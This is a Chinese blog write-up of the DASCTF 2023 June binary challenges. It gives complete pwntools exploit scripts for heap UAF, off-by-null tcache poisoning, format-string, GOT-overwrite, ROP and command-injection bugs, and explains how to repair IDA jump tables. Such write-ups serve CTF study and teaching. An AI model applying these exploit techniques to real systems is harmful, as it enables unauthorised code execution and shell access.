DAS二进制专项赛

发布时间 2023-07-08 13:03:26作者: Tw0^Y

终究还是re✌更上流一些。

卸载所有的前面

555,又是一个月无所事事,还当了一回fw。爬回来学习一下专项赛的题目。笔者是个铸币,比赛的时候一点也不会。

easy-note

glibc-2.23的题目,UAF很明显,直接打 _free_hook 就行。当然打__malloc_hook,realloc调整栈帧也可。蒻纸笔者在比赛的时候还打一个unlink,无语了。怎么会蠢到用更麻烦的方法2333

from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',remote_libc = "./libc-2.23.so",ip_port = "node4.buuoj.cn:27142")

def cmd(choice):
	sla("5. exit\n",str(choice))

def add(size,content):
	cmd(1)
	sla("The length of your content --->\n",str(size))
	sa("Content --->\n",content)
def change(index,size,content):
	cmd(2)
	sla("Index --->\n",str(index))
	sla("The length of your content --->\n",str(size))
	sa("Content --->\n",content)
def delete(index):
	cmd(3)
	sla("Index --->\n",str(index))
def show(index):
	cmd(4)
	sla("Index --->\n",str(index))

debug(p,'no-tmux',0x0000000000400AB6)
chunk_ptr = 0x6020C0 + 0x8
pad = b"deadbeef"
add(0x90,pad)
add(0x90,pad)
add(0x90,pad)
add(0x10,pad)
# pause()
delete(0)
show(0)
libc_base = recv_libc() - 0x58 - libc.sym["__malloc_hook"] - 0x10
log_addr("libc_base")
__free_hook = libc_base + libc.sym['__free_hook']
# pause()
payload = flat({
	0x8: 0x91,
	0x10: chunk_ptr - 0x18,
	0x18: chunk_ptr - 0x10,
	0x90: 0x90,
	0x98: p8(0xa0)
	},filler = b"\x00",length = 0x99)
change(1,0xa0,payload)
delete(2)
pause()
payload2 = flat({
	0x10: chunk_ptr,
	0x18: __free_hook,
	},filler = b"\x00",length = 0x20)
change(1,0x20,payload2)
pause()
ogg = libc_base + search_og(1)
change(1,0x8,p64(ogg))
pause()
delete(3)
itr()

foooooood

非栈上格式化字符串漏洞,找跳板rbp打。这题需要分两次修改。

from pwncy import *

context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',remote_libc = "./libc.so.6",ip_port = "node4.buuoj.cn:28407")

debug(p,'no-tmux',"pie",0xb27)
name_offset = 0x00000000002020C0
sa("Give me your name:",b"a"*0x20)
def attack(size,offset):
	payload = bytes("%{}c%{}$hn".format(size,offset),encoding = "utf-8").ljust(0x20,b"\x00")
	sa("what's your favourite food: ",payload)
def attack_hhn(size,offset):
	payload = bytes("%{}c%{}$hhn".format(size,offset),encoding = "utf-8").ljust(0x20,b"\x00")
	sa("what's your favourite food: ",payload)
# attack(b"%p.%p.%p.%p.".ljust(0x20,b"\x00"))
sa("what's your favourite food: ",b"%8$p.%9$p.%11$p.%p.".ljust(0x20,b"\x00"))
ru("You like ",drop = True)
elf_base = int(ru(".",drop=True),16) - elf.sym["__libc_csu_init"]
log_addr("elf_base")
libc_base = int(ru(".",drop=True),16) - libc.sym["__libc_start_main"] - 240
log_addr("libc_base")
rbp1 = int(ru(".",drop=True),16)
first_target = rbp1 - 0xe0 - 0x18 + 0x4
log_addr("first_target")
name = elf_base + name_offset
log_addr("name")
system = libc_base + libc.sym["system"]
log_addr("system")
ogg = libc_base + search_og(3)
log_addr("ogg")
# pause()
attack(first_target & 0xffff,11)
payload3 = bytes("%{}c%11$hn".format(size),encoding = "utf-8").ljust(0x20,b"\x00")
# pause()
attack(0xa,37)
my_pause("change number")
taget = rbp1 - 0xe0
attack_hhn((taget & 0xff), 11)
attack_hhn((ogg) & 0xff,37 )
pause()
attack_hhn((taget & 0xff) + 0x1, 11)
attack_hhn((ogg >> 8) & 0xff,37)
pause()
attack_hhn((taget & 0xff) + 0x2, 11)
attack_hhn((ogg >> 16) & 0xff,37 )
my_pause("fix number")
attack_hhn((taget + 0x1c) & 0xff, 11)
attack_hhn(0,37)
itr()

server

赛后看这个题目感觉没有那么难惹。第一个点很好过,存在目录穿越,让access函数访问到/bin/sh文件就可以绕过。

image-20230629103853400

sub_14DA函数中过滤了绝大部分的常用的命令执行字符,但是这里有个未初始化的漏洞且上面的name读入的栈空间和下面s空间重叠。这题就可以直接输入"'\n'"字符分割命令获得shell。

image-20230629103927091

from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',ip_port = "node4.buuoj.cn:27099")
def cmd(choice):
	sla("Your choice >> ",str(choice))
debug(p,'no-tmux',"pie",0x16e3,0x1748,0x1495,0x1484)
cmd(1)
#mkdir /keys
# key = (b"../../../" + b"./"* 10).ljust(28,b"*")
# key = b"../../../../../././bin/sh"

key = b'../../../../../..//bin/sh'
sla("Please input the key of admin : \n",key)

# command = b"''cat\tfl*\n"
# cmd(2)
# sa("Please input the username to add : \n",command)
# pause()
command2 = b"'\n"
cmd(2)
sa("Please input the username to add : \n",command2)
itr()

candy_shop

存在数组下标负数越界,可以劫持got。注意一点,劫持got表的memset函数时,因为下标距离问题,需要分两次打入system函数地址。

from pwncy import *

context(log_level = "debug",arch = "amd64")
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()

global p
# p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = remote("139.155.132.59",9999)

def cmd(choice):
	sla("option: ",choice)
def gift(name):
	cmd(b"g")
	sa("Give me your name: \n",name)
def canary(index = -10,name = b"1" * 0x13):
	cmd("b")
	sla("Which one you want to bye: ",b"t")
	sla("Which pocket would you like to put the candy in?\n: ",str(index))
	sa("Give your candy a name!\n: ",name)

debug(p,'no-tmux',"pie",0x16a6,0x16b5,0x155e,0x15b4)
libc_offset = 0x29d90
leak = b"%11$p".ljust(8,b"\x00")
gift(leak)
ru("you have received a gift:")
libc_base =int(r(14),base = 16) - libc_offset
log_addr("libc_base")
system = libc_base + libc.sym["system"]
# system = libc_base + 0xebcf8
# system = libc_base + 0xebcf1
# system = libc_base + 0xebcf5
# pause()
cmd("b")
sla("Which one you want to bye: ",b"t")
index = -2
sla("Which pocket would you like to put the candy in?\n: ",str(index))
name = b"1" * 0x13
sa("Give your candy a name!\n: ",name)
canary(index = 0,name = b"/bin/sh\x00".ljust(0x13,b"\x00"))
# pause()
printf = libc_base + libc.sym["printf"]
payload = (b"a" * 6 + p64(printf) + p32(system & 0xffffffff) + p8((system >> 32) & 0xff)).ljust(19,b"\x00")
canary(name = payload)
log_addr("system")
# pause()
payload2 = p8((system >> 40) & 0xff).ljust(0x3,b"\x00") + b"\n"
canary(index = -9,name = payload2)
pause()
cmd("e")
itr()

can_you_find_me

只有add和delete两个操作。pushinfo函数结尾有个offbynull,同时申请的chunk size没有严格的限制,可以用chunk 重叠劫持tcache的next指针,有点house of botcake的味道,爆破半字节获得stdout结构体,打io leak获得libc基址。最后打__free_hook。

本地打的时候可以先关闭aslr方便调试。

from pwn import *
context(log_level = "debug",arch = "amd64")
# p,elf,libc = load("pwn",ip_port = "node4.buuoj.cn:28732",remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so")
global p
p = process("./pwn")

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
leak    = lambda name,addr          :log.success(name+"--->"+hex(addr))

elf = ELF("./pwn")
libc = ELF("/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so")
def cmd(choice):
	sla("choice:",str(choice))
def add(size,content):
	cmd(1)
	sla("Size",str(size))
	sla("Data:",content)
def delete(index):
	cmd(2)
	sla("Index:",str(index))

dbginfo = """
b *$rebase(0x98a)
b *$rebase(0xa98)
"""
# gdb.attach(p,dbginfo)
def exp():
	_IO_2_1_stdout_offset = libc.sym["_IO_2_1_stdout_"]
	log.success("_IO_2_1_stdout_offset--->"+hex(_IO_2_1_stdout_offset))
	add(0x500,b'a'*0x500)#0
	add(0x60,b'a'*0x60)#1
	add(0x10,b'a'*0x10)#2
	add(0x70,b'a'*0x70)#3
	add(0x5f0,b'a'*0x5f0)#4
	add(0x20,b'a'*0x20)
	gdb.attach(p,dbginfo)
	#利用off by one打unlink,构造堆重叠,进而进行tcache posioning
	delete(0)
	delete(3)
	# pause()
	add(0x78,b'a'*0x70+b'\x20\x06'.ljust(8,b'\x00'))#0
	# pause()
	#unlink
	delete(4)
	#
	delete(1)
	delete(0)
	# pause()
	add(0x500,b'/bin/sh\x00'+b'a'*(0x500-8))
	# pause()
	add(0x80,p16(0))
	add(0x80,p16(_IO_2_1_stdout_offset & 0xffff))
	add(0x60,b"a")
	add(0x68,p64(0xfbad1800)+p64(0)*3+p8(0xc8)) #0xc8-->_chain_offset,next iostruct is stdin
	# pause()
	libc.address = u64(ru("\x7f",drop = False)[-6:].ljust(8,b"\x00")) - libc.sym._IO_2_1_stdin_
	log.success(hex(libc.address))
	free_hook = libc.address + libc.sym.__free_hook
	add(0x80,p16(free_hook & 0xffff))
	add(0x78,b'a')
	leak("system",libc.sym.system)
	add(0x78,p64(libc.sym.system))
	pause()
	delete(0)
	itr()


if __name__ == '__main__':
    # while True:
    # sysctl -w kernel.randomize_va_space=0
    for i in range(1):
        try:
            p = process("./pwn")
            exp()
        except:
            # sleep(1)
            p.close()

Adream

info thread #查看当前进程的线程数量、信息

thread <thread_number> #切换至指定线程

赛后复现,比赛的时候看着子线程没有了一点思路。铸币笔者。题目中子线程循环执行write函数,父线程有个沙箱只允许read and write,没有open,另外一个0x10大小的溢出。因为子线程不受到父线程沙箱的影响,同时可以覆写got表,所以我们通过栈迁移,覆写write@got为magic_read的gadget,见下图,实现循环读入。然后控制程序流,泄露libc之后打个rop链。注意父线程需要用sleep函数挂起,否则父线程crash后会一起停掉子线程。

image-20230629142733727

这个题目也学习到了一点新姿势,子线程和父线程是公用got表的。另外子线程开辟的栈空间实际上就是父线程mmap出来的一段地址,和libc的地址是有固定偏移的,这点可以从调试中得到偏移。

最后解释一下为什么修改完got表后,子线程的读入pad只有0x30字节,听我猜测的胡说一下,子线程调试的时候看到在libc调用read函数时,不会像正常一样在__ GI___libc_read+26的地方直接跳回去,而是通过call _ GI_pthread_enable_asynccancel函数调用read,这样一来,在read的开始会sub rsp 0x28,返回结尾就会有个add rsp 0x28的操作,再进行ret。所以pad只有0x30字节大小,并且每次调用magic_read时,都要注意结尾ret的位置。

image-20230629142912395

from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "Adream"
remote_libc = "/home/tw0/Desktop/tool/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc)

debug(p,'no-tmux',0x4013AE)

bss = elf.bss() + 0x100
magic_read = 0x4013AE
rdi = 0x401483
rsi_r15 = 0x401481
leave_ret = 0x40136c
ret = 0x40101a

payload = flat({
	0x40: [bss + 0x40, magic_read],
	},filler = b"\xff")
s(payload)
sleep(0.1)

payload2 = flat({
	0x0: [rsi_r15,elf.got.write,0,elf.plt.read,rdi,0x1000,elf.plt.sleep],
	0x40:[bss - 8,leave_ret],
	})
s(payload2)
sleep(0.1)
pause()
#change parent thread wirte@got to magic_read_gadget
s(p64(magic_read))
sleep(0.1)
payload3 = flat({
	0x30: [rdi, elf.got.puts, elf.plt.puts, magic_read],
	})
s(payload3)
sleep(0.1)
libc.address = recv_libc() - libc.sym.puts
system = libc.sym.system
binsh = next(libc.search(b"/bin/sh"))
log_addr("binsh")
rdi_rbp = next(libc.search(asm("pop rdi;pop rbp;ret")))
thread_stack_rop_addr = libc.address - 0x4150
# thread_stack_rop_addr = libc_base - 0x11f0
pause()
payload4 = flat({
	0x0: [ret,rdi_rbp,binsh,0,system],
	0x40: thread_stack_rop_addr - 8,
	0x48:leave_ret
	})
s(payload4)
itr()

Approoooooooaching

之前看过一个brainfuck类型的虚拟机,但是没有仔细逆过。这次就碰上了。楽,怕什么来什么,测测测!

第一步是jmp rax跳表的修复。这个讲道理,怎么还有人不会的。玛德,问就是铸币笔者。

修复跳转表

gcc在编译的时候,会将大于5个的switch转换为跳表的形式,因此反编译的时候会无法自动识别,需要手动调一下。很明显看出来,①这个地方是获取switch的选项的,②就是将下标和跳转表相加后用rax寄存器跳转。

image-20230629155038542

那么修复跳转表需要先选择0x178c这一句,然后edit->other->specify switch idiom

image-20230629155336959

然后解释一下修复跳表的每个具体含义:

image-20230629155730570

  • Address of Jump table:设置成 jump table 的地址
  • Number of elements:设置为 jump table 中存在的元素总数
  • Size of table element:设置为 jump table 中元素的类型,一般也就是4字节
  • Element shift amount:这个一般情况下都是零,和跳表计算时的方式有关,比如此题只是单纯的跳表地址加跳表中的元素,那么就不需要移位
  • Element base value:设置为计算跳转地址时给跳表元素加的值,比如此题的计算方法为 &jump_table + jump_table[i],那么这里就应该填跳表的地址
  • Start of the switch idiom:这个默认就行,就是获取跳表值的语句的地址
  • Input register of switch:设置为用于给跳表寻址的寄存器
  • First(lowest) input value:就是 switch 的最小值了
  • Default jump address:也就是 default 的跳转位置,其实有时候可以不填,但是最好还是填上,这个一般在上方不远处的 cmp 指令附近,特征就是判断了输入,然后跳转到某个地址上,跳转的这个地址就是要填的值了(上图中填的值是错误的,但是即使填错了似乎也没有影响最后的分析,所以可以放轻松啦~)

最后一点,修复跳表的时候,要观察跳转表的数值,如果是0xff之类开头的,可能是带符号的数,就需要勾选signed jump table element选项了。

image-20230629160033222

动调修改花指令

sub_191d这里进入sub_1269函数,ida无法反编译sub_1269函数。

image-20230630103030173

直接汇编看看1260的位置转成code后有endbr64,ida无法识别。

image-20230630103153346

那动调断点打在call的位置,步进观察。看到0x1269的位置有endbr64指令,但是ida里面没有识别出来,因此手动从0x1269的位置开始转code。

image-20230630103505990

后面就可以正常识别了。

image-20230630103907404

捏捏捏!!!麻麻叠!!,要是修ida麻烦,直接高版本ida一把识别,测

思路

很简单,上面的全部修复以后,可以看出每个符号对应的操作。程序实现了一个brainfuck的虚拟机,将堆上的字符转换为相应的vm操作。下面是对应表格

1 ++ptr
i 2 --ptr
$ 3 ++*ptr
# 4 --*ptr
x 5 putchar
y 6 getchar
* 7 jnz
@ 8 jz

另外sub_151d函数中存储的局部变量,a1是传入的参数,也就是对应的基址指针,动调观察的更加清楚。

image-20230630102334877

image-20230630102619987

所以只需要将ptr-8后写入backdoor函数的低一字节即可。

exp

这里为什么要填三个y进行getchar呢?第一个,在chunk中读入字符时,会将最后一个字符置0,因此我们需要多一个字符,所以最后一个字符填啥都行,不一定非得是y。第二因为笔者本地环境不知道啥原因,getchar函数总是能自动读取到一个换行符,捏麻麻滴,所以不得不多加一个y来修改ret地址。

from pwncy import *

context(log_level = "debug",arch = "amd64")
p,elf,libc = load('bf',ip_port = "node4.buuoj.cn:25232")

def cmd(choice):
	sla("Give me your choice: \n",str(choice))

def add(size):
	cmd(1)
	sla("size: ",str(size))
def bf_write(text):
	cmd(2)
	sa("text: ",text)
debug(p,'no-tmux',"pie",0x15AD,0x15C2,0x15B0,0x1620,0x18FC)
add(0x20)
bf_write(b"iiiiyyy")
# pause()
cmd(3)
# cmd(4)
cmd(4)

backdoor = 0x19D8
s(b"\xe0")
itr()

matchmaking platform

漏洞点就是在接受内容的地方,char类型是-128(0x80)到127(0x7f),也就是带符号的。读入内容一共可以读入0x81字节,当写入0x80字节后,接下来一个输入的字节会因为char类型的溢出写到[-0x80]的地方,因此刚好覆盖到0x40c0处指针的最低字节。这样子就可以劫持stdio指针进行leak、修改0x4068处的switch计数,最后打free_hook。

from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./pwn"
remote_libc = "/home/tw0/Desktop/tool/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc)

debug(p,'no-tmux','pie',0x1375)

menu = b'>> '
sa(menu,b'a'*0x80 + b"\x80")
# pause()
sla(menu,p64(0xfbad1800) + p64(0) * 3+p8(0))
# libc.address = recv_libc() - 0x1eb980
libc.address = recv_libc() - (libc.sym._IO_2_1_stdin_)
# log_info(hex(libc.address))
log("libc.address",hex(libc.address))
system = libc.sym.system
__free_hook = libc.sym.__free_hook
log_addr("__free_hook")
sa(menu,b"/bin/sh\x00" + b"a" * 0x78 + b"\x60")
# pause()
stdout = libc.sym._IO_2_1_stdout_
stdin = libc.sym._IO_2_1_stdin_
stderr = libc.sym._IO_2_1_stderr_
payload = (p64(0) + p64(5)).ljust(0x20,b"\x00")
payload += flat([stdout,0,stdin,0,stderr,0,__free_hook])

sla(menu,payload)

sa(menu,b"a" * 0x80 + b"\xb0")

sla(menu,p64(system))
sa(menu,b"a" * 0x80 + b"\xc8")
sla(menu,b"/bin/bash\x00")
itr()

中间布置"\x60"字节的指针是因为这里有个指向自己的指针,可以作为跳板帮助我们修改switch计数和写入free_hook地址。

image-20230630143724338

官方的预期解是打ret2dl的,下面是官方预期解exp

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def pwn() :
	io.sendafter("Age >> ", b'\x00'*0x80 + b'\x80')
	io.sendlineafter("Photo(URL) >> ", p64(0xfbad1887) + p64(0)*3 + b'\xb0\x5d')
	pie_base = u64(io.recv(6, timeout = 0.5).ljust(8, b'\x00')) - 0x40a0
	if (pie_base & 0xfff) != 0 :
		exit(-1)
	success("pie_base:\t" + hex(pie_base))

	payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
	io.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')
	payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140)
	io.sendlineafter("Hobby >> ", payload)
	io.interactive()

if __name__ == '__main__':
	while True:
		global io
		try :
			io = process("./pwn")
			pwn()
			break
		except :
			io.close()

Noka

看着k号师傅的wp确实,感觉官方的wp就是坨*,(雾。不过这个题目确实,因为可以劫持got表,修改malloc@got为0x401254的read函数,可以做到4G以内任意地址读。所以不能直接写libc里面的6字节地址。但是可以修改strtol@got,直接执行命令,不用泄露environ再修改后门read函数读入次数、打ret的rop链那么麻烦的操作。

from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "noka"
remote_libc = "./libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = "118.24.118.158:9999")
def cmd(choice):
	sla(">",str(choice))
def add(target,content,size = 0x10):
	cmd(1)
	# sa("size: ",str(0x10).rjust(0xa,"0"))
	sa("size: ",str(size))
	pause()
	sl(str(target))
	sleep(0.1)
	sa("text: ",content)
def show():
	cmd(2)
def change(address,value):
	cmd(3)
	sla("Break Point: ",str(address))
	sla("Break Value: ",str(value))

debug(p,'no-tmux',0x4012E5,0x401339,0x401305)
chunk_ptr = 0x4040B0
read_func = 0x401254

change(elf.got.malloc,read_func)
pause()
add(chunk_ptr,p64(elf.got.strtol))
show()
libc.address = recv_libc() - libc.sym.strtol
system = libc.sym.system
pause()
add(elf.got.strtol,p64(system))
sl(b"/bin/sh\x00")
itr()

总结一些(结个寂寞

fw总是六边形的fw,努力才不会成为fw,努力不了一点。但是要准备考试了nnd,考不过试真的college就真寄了,赶紧润听课。

参考文章

官方Write Up|DASCTF六月赛 · 二进制专项 | CTF导航 (ctfiot.com)

DAS二进制专项 – korey0sh1's trash can

IDA switch 在跳表结构下的修复 - cj的小站 (cjovi.icu)

DASCTF 2023六月挑战赛|二进制专项] 5个pwn_石氏是时试的博客-CSDN博客